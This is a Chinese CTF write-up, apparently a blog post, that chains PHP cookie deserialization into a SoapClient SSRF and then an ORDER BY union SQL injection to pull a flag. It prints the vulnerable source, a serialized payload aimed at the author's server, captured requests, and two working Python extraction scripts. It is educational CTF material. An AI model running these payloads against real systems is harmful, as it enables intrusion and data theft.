soap导致的SSRF

这是从暨南大学2018校赛的一道CTF题学习到的姿势

适用条件:服务器开了soap服务,允许soap数据的交互,并且有可控的点调用了反序列化,此时可以强行反序列化去调用soapclient类进行SSRF

以题目为例

phpinfo可以看出开了soap,实际渗透测试可以盲测,假设开启,并看到有反序列化特征的参数,可以直接盲测


image.png

这道题还给了index.php和sqldebug.php的部分源码
index.php

<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);

class Auth {
    public $username = '';
    public $login = 0;

    public function verify() {
        return 'FALSE';
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
    <table>
        <tr>
            <td>Username</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>Password</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>Remember me <input type="checkbox" name="rememberme"></td>
            <td><input type="submit" value="Submit"></td>
        </tr>
    </table>
</form>
<p>
<?php

if (isset($_POST['username'])) {
    $auth = new Auth();
    $auth->username = $_POST['username'];
    setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
    $auth = unserialize(base64_decode($_COOKIE['auth']));
}

if (isset($auth)) {
    echo $auth->verify();
}

?>
</p>
</body>
</html>

sqldebug.php

<?php
include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('you need to be 127.0.0.1');
}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
    die('NONONO!');
}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];

mysqli_close($db);
?>

从源码可以看到sqldebug过滤不严,可以注入
但是$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'无法绕过,只能SSRF
又看到index.php中$auth = unserialize(base64_decode($_COOKIE['auth']));可控
那么我们可以强行调用php中的soapclient类,来进行SSRF

soapclient的调用可以参考文章
https://xz.aliyun.com/t/2148
对soap数据格式的理解可以用参考
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
https://www.anquanke.com/post/id/153065
php关于soapclient的参考文档
http://www.php.net/manual/zh/soapclient.soapclient.php
kali安装soap扩展,kali默认php7

apt-get install php-soap
php -m | grep soap

因为题目环境是php5.6,那就kali安装下php5.6

apt-get install apt-transport-https
curl https://packages.sury.org/php/apt.gpg | apt-key add
echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list
apt-get update
apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext
apt-get -y install php5.6-soap
php5.6 -m | grep soap

先弹到自己vps,看看soapclient类是否能正常调用
soap.php

<?php
// $location = "http://127.0.0.1:80/sqldebug.php";
$location = 'http://178.128.15.64:2333/';
$a = new SoapClient(null, array('location' => $location ,'uri'  => '123'));

echo serialize($a);
echo "\n";
echo "\n";
$auth=  base64_encode(serialize($a));
echo $auth;
echo "\n";
echo "\n";
?>

运行soap.php

$ php5.6 soap.php

O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;}

TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30=

burp的post报文

POST /index.php HTTP/1.1
Host: 35.221.144.41:8084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.221.144.41:8084/index.php
Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


vps收到的报文

root@ubuntu16:~# nc -lvvv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292)
POST / HTTP/1.1
Host: 178.128.15.64:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.37
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#verify"
Content-Length: 369

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope>

soapclient类成功被调用,成功访问到vps,然后会因为soapclient类没有verify()方法而导致报错,会默认调用call方法,但是已经不影响我们调用soapclient来进行SSRF


image.png
image.png

这里可惜的点是,soapclient默认是用post,然后在xml中以xml格式来传递post参数,但是我们在SSRF的时候,除非知道服务器wsdl的模板位置以及模板内容,才可以去构造post参数,不然一般只能在$location处对GET参数进行注入等攻击

 $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23

注意这里的端口是80,而不是8084,因为是docker映射的

注入部分就不细讲了,直接给出脚本

先判断列数,如果union select的列数不对,index.php请求就会Internal Server Error

columns.py

#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote

url = "http://35.221.144.41:8084/index.php"

tpl = ["1"]

while True:
    done = False
    ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
        tpl) + "%23"
    serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
        len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
    auth = quote(base64.b64encode(serial.encode()))
    resp = requests.get(url, cookies={'auth': auth})
    print(len(tpl))
    if 'Internal Server Error' not in resp.text:
        # print(resp.text)
        break
    tpl += ["1"]

一共有5列

注入得到flag,exp.py

#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys

url = "http://35.221.144.41:8084/index.php"

for pos in [0, 2, 3, 4]:
    tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
    r = []
    done = False
    while not done and len(r) <= 40:
        for c in range(0x19, 0x7F):
            hexstr = bytes(r + [c])
            tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
            ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
                tpl) + "+order+by+" + str(pos + 1) + "%23"
            # print(ssrfurl)
            serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
                len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
            auth = quote(base64.b64encode(serial.encode()))
            resp = requests.get(url, cookies={'auth': auth})
            if 'got no XML document' in resp.text:
                if 0x19 == c:
                    done = True
                else:
                    r += [c - 1]
                break
        print(pos+1, bytes(r))
image.png
image.png

通过测试,uid=2对应的几个列分别是

COLUMN_ID = '2'(第1列)
COLUMN_xxx = ''(第2列,为空)
COLUMN_xxx = '99' (第3列)
COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列)
COLUMN_USERNAME = 'ADMIN@DEMO.COM'(第5列)

order by 注入的原理可以看我这篇文章
https://www.jianshu.com/p/83d07d5c3af8

大致原理是select出一个字符串,再去order by 一个字段
由于后端只会显示第一列,所以数据库会按照这两个字符串的大小来排序
至于排序的规则是从左到右逐位比较ascii码的大小,所以可以从左到右逐位遍历,最终得到该字段的值

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23
1 b'2'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23
3 b'99'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23
4 b'FLAG{UN10N'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23
5 b'ADM'

最后深大信安协会的师弟师妹们,给暨大友情测试了一波,tql
欢迎外校的师傅们多交流~

image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,723评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,485评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,998评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,323评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,355评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,079评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,389评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,019评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,519评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,971评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,100评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,738评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,293评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,289评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,517评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,547评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,834评论 2 345